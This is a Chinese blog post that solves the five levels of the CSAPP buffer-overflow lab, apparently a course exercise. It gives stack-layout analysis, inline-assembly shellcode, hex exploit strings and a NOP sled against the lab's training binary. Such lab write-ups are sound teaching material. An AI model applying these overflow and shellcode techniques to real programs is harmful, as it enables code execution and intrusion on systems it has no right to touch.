CSAPP lab3 bufboomb
本次实验的project
为buflab
,这个lab
比上次lab2
有意思多了,上次主要是读汇编代码太恶心了点,许多太难理解了。这次的lab
主要为详细描述缓冲区溢出的shellcode
编写,每个小的case
非常有意思,花了差不多大概四天的时间,利用每天晚上的时间,终于把五个case
全部通过,通过这5
个case
基本熟悉了shellcode
的编写和缓冲区溢出的攻击原理,本质是利用堆栈模型的漏洞,利用函数返回值的跳转来进行不同的跳转。
- 首先我们需要了解程序的调用过程和基本的汇编命令的指令的原理:
call
指令的执行原理:Call address
,将下一条指令的地址入栈,然后跳转到address
对应的指令。push [next]
jmp addressret
指令的执行原理,ret
将栈顶的数据出栈送入到eip
寄存器,然后进行跳转。pop %eip,
jmp- 堆栈中
procedure
的调用的基本过程,将被调用的函数的参数从右至左依次入栈;将下一条指令入栈,跳转到函数进行执行;进入到被执行的函数时,首先会将当前的ebp
入栈。
搞清楚以上三点的信息后,对这5
个case
就能非常熟悉和了解了。
题目
关于getbuf
函数的原型:
/* Buffer size for getbuf */ |
我们可以看到getbuf
函数中栈上的申请的字符串的长度为32
,我们缓冲区的溢出的原理也是对buf
的空间进行连续的填充,直到将getbuf
函数的返回指令的地址用我们自定义的地址进行覆盖,从而执行完getbuf
函数后,在返回时将会跳转到我们所需要的地址即可。我们同时仔细分析一下getbuf
函数的汇编代码如下:
080491f4 <getbuf>: |
从汇编代码中可以知道buff
的偏移地址第(0x28 + 8)
存储的为函数返回地址,所以我们只需要将offset = (0x28 + 8)
的空间进行自定义填充即可,以下所有的题目基本上都类似的原理。
1. Level 0: Candle
- 题目非常简单,只是要求能够正确执行函数
smoke
即可,我们只需要将smoke
函数的地址写入getbuf
的返回地址即可,我们只需要将08048c18
写入返回地址即可。00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 8c 04 08
2. Level 1: Sparkler
- 题目非常简单,只是要求能够正确执行函数
fizz
即可,我们只需要将fizz
函数的地址写入getbuf
的返回地址即可,我们只需要将08048c18
写入返回地址即可,与level1
不一样的是还需要把参数val
参数传入,并且此时参数的值为cookie
的值,我们知道参数的偏移地址offset = (0x28 + 12)
,我们只需要在此偏移处填入cookie
的值即可。31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 42 8c 04 08 08 d1 08 04 00
3.Level 2: Firecracker
- 这个稍微复杂点,只是要求能够正确执行函数
bang
,并且要求global_value
的值与cookie
的值相等,这就要求我们不仅返回执行bang
函数,还需要对global_value
的值进行更改。此题需要在栈上写入指令,并且执行栈上的指令修改全局变量的值,执行完成后跳转到bang
函数即可。 - 我们通过C语言写入汇编代码,然后进行编译翻译成机器指令即可,再将填入到栈中即可,需要执行的指令如下:
void test(){
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("mov %eax,0x804d100"); // global_value = cookie
__asm__("push $0x08048c9d"); // set bang return address
__asm__("ret");
} - 本次即需要两次跳转,第一次跳转到栈上的指令起始地址
0x55682fb8
,设置全局变量;执行完成指令后进行第二次跳转到bang
函数的入口地址0x08048c9d
,最后的结果为:b8 84 c3 30 68 a3 00 d1 04 08 68 9d 8c 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55
4. Level 3: Dynamite
- 这个就比较复杂,需要改变
test
函数的执行逻辑,这就要求我们不仅返回执行bang
函数,还需要对global_value
的值进行更改,并且保证test
函数最终能够正常运行。test
函数原本逻辑如下所示:如果按照正常逻辑,void test()
{
int val;
/* Put canary on stack to detect possible corruption */
volatile int local = uniqueval();
val = getbuf();
/* Check for corrupted stack */
if (local != uniqueval()) {
printf("Sabotaged!: the stack has been corrupted\n");
}
else if (val == cookie) {
printf("Boom!: getbuf returned 0x%x\n", val);
validate(3);
} else {
printf("Dud: getbuf returned 0x%x\n", val);
}
}getbuf
的返回值为1
,而本题要求val == cookie
,这就要求返回值为cookie
,我们通过修改getbuf
的返回值为cookie
即可。我们仔细阅读汇编代码如下:函数的返回值实际存放在8048db9: e8 36 04 00 00 call 80491f4 <getbuf>
8048dbe: 89 c3 mov %eax,%ebx
8048dc0: e8 cb ff ff ff call 8048d90 <uniqueval>%eax
寄存器中,我们只需要修改%eax
寄存器的值为cookie
即可。本题还有比较关键的一点,我们在进行写缓冲区时把test
函数的%ebp
寄存器破坏掉了,我们返回前还需要恢复%ebp
寄存器即可,我们通过gdb
调试可以知道%ebp
寄存器的地址为0X55683010
。恢复的地址和修改寄存器的代码如下:我们通过上述编译后,将代码写入到栈上即可,并同时将void test(){
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("mov $0X55683010, %ebp"); // resume ebp register
__asm__("push $0x08048dbe"); // set return address
__asm__("ret");
}getbuf
函数的返回地址设置为上述指令的起始地址即可。最终的buffer
为:b8 84 c3 30 68 68 de 8d 04 08 c3 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 31 b8 2f 68 55
5. Level 4: Nitroglycerin
- 本题与第
4
题相似,但是比较复杂的处理在于栈的地址为动态变换的,此时我们就不可能像之前处理那样,栈的返回地址直接写为固定,此时我们需要用到nop sleds
。这个所谓的难点也并不复杂,表示我们可以将机器指令全部设置为nop
,在nop
之后紧挨着执行我们的修改指令,因此我们只需要保证跳转指令一定能够跳转到nop
指令段中即可,题目中所谓的随机栈地址的范围变化为[-240,240]
之间进行变动,我们只需要设定某个值保证跳转一定能够跳转到nop
指令即可。 - 此处我们将
512
个字节的内容全部设置为nop
,只要保证指令一定能够跳转nop
区间即可,因为nop
执行结束后紧挨着即为我们需要执行的指令。 - 我们同时还需要恢复
ebp
寄存器,我们仔细观察ebp
寄存器实际为esp
地址偏移0x28
即可。因为地址从高往低增长,所以$ebp = $esp + 28
,我们可以通过汇编代码得知。08048e26 <testn>:
8048e26: 55 push %ebp
8048e27: 89 e5 mov %esp,%ebp
8048e29: 53 push %ebx
8048e2a: 83 ec 24 sub $0x24,%esp
8048e2d: e8 5e ff ff ff call 8048d90 <uniqueval>
8048e32: 89 45 f4 mov %eax,-0xc(%ebp)
8048e35: e8 d2 03 00 00 call 804920c <getbufn>我们通过上述编译后,将代码写入到栈上即可,并同时将void test(){
__asm__("mov %esp,%eax"); // resume ebp register
__asm__("add $0x28,%eax");
__asm__("mov %eax,%ebp");
__asm__("mov $0x6830c384, %eax"); // eax = cookie
__asm__("push $0x8048e3a"); // set return address
__asm__("ret");
}getbuf
函数的返回地址设置为0x55682eb8
。最终的buffer
为:90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 89 e0 83 c0
28 89 c5 b8 84 c3 30 68 68 3a
8e 04 08 c3 b8 2e 68 55
总结
总的来说,lab3
的代码比lab2
有趣多了,非常考验逻辑思维能力,通过学习对机器指令的执行过程有了非常熟悉的了解,也对缓冲区攻击的基本原理有了深刻的理解,当然实际的攻击过程远远比这复杂的多。计算机技术需要学习的技巧太多了。
欢迎关注和打赏,感谢支持!
- 关注我的博客: http://mikemeng.org/
- 关注我的知乎:https://www.zhihu.com/people/da-hua-niu
- 关注我的微信公众号: 公务程序猿
扫描二维码,分享此文章